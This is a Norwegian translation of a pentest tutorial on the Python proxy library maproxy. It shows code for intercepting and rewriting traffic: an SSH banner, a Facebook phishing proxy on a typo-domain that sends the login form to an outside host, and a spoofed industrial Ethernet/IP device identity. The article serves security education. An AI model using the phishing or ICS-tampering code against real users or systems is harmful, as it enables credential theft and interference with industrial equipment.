Behandle nettverksdata på farten

Oversettelsen av artikkelen ble utarbeidet like før kursstart «Pentest. Penetrasjonstestingspraksis".

Behandle nettverksdata på farten

abstrakt

En rekke typer sikkerhetsvurderinger, alt fra vanlig penetrasjonstesting og Red Team-operasjoner til hacking av IoT/ICS-enheter og SCADA, involverer arbeid med binære nettverksprotokoller, det vil si i hovedsak avskjæring og modifisering av nettverksdata mellom klienten og målet. Å snuse nettverkstrafikk er ikke en vanskelig oppgave siden vi har verktøy som Wireshark, Tcpdump eller Scapy, men modifikasjon ser ut til å være en mer arbeidskrevende oppgave siden vi må ha et slags grensesnitt for å lese nettverksdataene, filtrere dem, endre den på farten og send den tilbake til målverten i nesten sanntid. I tillegg ville det være ideelt om et slikt verktøy automatisk kunne fungere med flere parallelle forbindelser og kunne tilpasses ved hjelp av skript.

En dag oppdaget jeg et verktøy som heter maproxy, dokumentasjonen gjorde det raskt klart for meg det maproxy – akkurat det jeg trenger. Dette er en ganske enkel, allsidig og lett konfigurerbar TCP-proxy. Jeg testet dette verktøyet på flere ganske komplekse applikasjoner, inkludert ICS-enheter (som genererer mange pakker) for å se om det kunne håndtere mange parallelle tilkoblinger, og verktøyet presterte bra.

Denne artikkelen vil introdusere deg til å behandle nettverksdata på farten ved hjelp av maproxy.

Gjennomgå

Tool maproxy er basert på Tornado, et populært og modent asynkront nettverksrammeverk i Python.

Generelt kan den fungere i flere moduser:

  • TCP:TCP – ukrypterte TCP-tilkoblinger;
  • TCP:SSL и SSL:TCP – med enveis kryptering;
  • SSL:SSL – toveis kryptering.

Det kommer som et bibliotek. For en rask start, kan du bruke eksempelfiler som gjenspeiler de viktigste bibliotekfunksjoner:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Tilfelle 1 – enkel toveis proxy

Basert på tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Som standard ProxyServer() tar to argumenter – tilkoblingsplasseringen og målporten. server.listen() tar ett argument - porten for å lytte til den innkommende tilkoblingen.

Utføring av skriptet:

# python tcp2tcp.py

For å kjøre testen, skal vi koble til en lokal SSH-server gjennom proxy-skriptet vårt, som lytter på 2222/tcp port og kobles til en standard port 22/tcp SSH-servere:

Behandle nettverksdata på farten

Velkomstbanneret informerer deg om at vårt eksempelskript har vellykket proxyisert nettverkstrafikk.

Tilfelle 2 – dataendring

Nok et demoskript logging_proxy.py ideell for samhandling med nettverksdata. Kommentarene i filen beskriver klassemetodene du kan endre for å nå målet ditt:

Behandle nettverksdata på farten

Det mest interessante er her:

  • on_c2p_done_read – å fange opp data underveis fra klienten til serveren;
  • on_p2s_done_read - reversert.

La oss prøve å endre SSH-banneret som serveren returnerer til klienten:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Utfør skriptet:

Behandle nettverksdata på farten

Som du kan se, ble klienten villedet fordi SSH-servernavnet for ham ble endret til «DumnySSH».

Behandle nettverksdata på farten

Tilfelle 3 – enkel phishing-nettside

Det er uendelige måter å bruke dette verktøyet på. La oss denne gangen fokusere på noe mer praktisk fra Red Team-operasjonssiden. La oss imitere landingssiden m.facebook.com og bruk et tilpasset domene med en bevisst skrivefeil, for eksempel, m.facebok.com. For demonstrasjonsformål, la oss bare anta at domenet er registrert av oss.

Vi skal etablere en ukryptert nettverksforbindelse med ofrenes proxy og SSL Stream til Facebook-serveren (31.13.81.36). For å få dette eksempelet til å fungere, må vi erstatte HTTP-vertsoverskriften og injisere riktig vertsnavn, og vi vil også deaktivere svarkomprimering slik at vi enkelt kan få tilgang til innholdet. Til syvende og sist vil vi erstatte HTML-skjemaet slik at påloggingsinformasjonen sendes til oss i stedet for Facebooks servere:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/no/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Oppsummert:

Behandle nettverksdata på farten

Som du kan se, var vi i stand til å erstatte det opprinnelige nettstedet.

Tilfelle 4 – Portering av Ethernet/IP

Jeg har jobbet med industrielle enheter og programvare (ICS/SCADA) i ganske lang tid, slik som programmerbare kontrollere (PLC), I/O-moduler, stasjoner, releer, stigeprogrammeringsmiljøer og mange flere. Denne saken er for de som liker industrielle ting. Å hacke slike løsninger innebærer aktiv lek med nettverksprotokoller. I følgende eksempel vil jeg vise hvordan du kan endre ICS/SCADA-nettverkstrafikk.

For dette trenger du følgende:

  • Nettverkssniffer, for eksempel Wireshark;
  • Ethernet/IP eller bare en SIP-enhet, du kan finne den ved å bruke Shodan-tjenesten;
  • Manuset vårt er basert på maproxy.

La oss først se på hvordan et typisk identifikasjonssvar fra CIP (Common Industrial Protocol) ser ut:

Behandle nettverksdata på farten

Enhetsidentifikasjon utføres ved hjelp av Ethernet/IP-protokollen, som er en forbedret versjon av den industrielle Ethernet-protokollen som omslutter kontrollprotokoller som CIP. Vi skal endre det uthevede ID-navnet som er synlig på skjermbildet "NI-IndComm for Ethernet" ved å bruke vårt proxy-skript. Vi kunne gjenbruke manuset logging_proxy.py og på samme måte endre klassemetoden on_p2s_done_read, fordi vi ønsker at et annet identitetsnavn skal være synlig på klienten.

Kode:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

I hovedsak ba vi om enhetsidentifikasjon to ganger, det andre svaret var det opprinnelige, og det første ble endret på et øyeblikk.

Og den siste

Etter min mening maproxy Et praktisk og enkelt verktøy, som også er skrevet i Python, så jeg tror at du også kan ha nytte av å bruke det. Selvfølgelig finnes det mer komplekse verktøy for å behandle og modifisere nettverksdata, men de krever også mer oppmerksomhet og er vanligvis laget for en spesifikk brukstilfelle, f.eks. muraena, Modlishka eller evilginx for tilfeller som ligner den tredje, eller canape for den siste saken. På en eller annen måte, med hjelp maproxy du kan raskt implementere ideene dine for å avskjære nettverksdata, siden eksempelskriptene er veldig klare.

Testing av autentiseringsmekanismer i Windows AD

Kilde: www.habr.com

Legg til en kommentar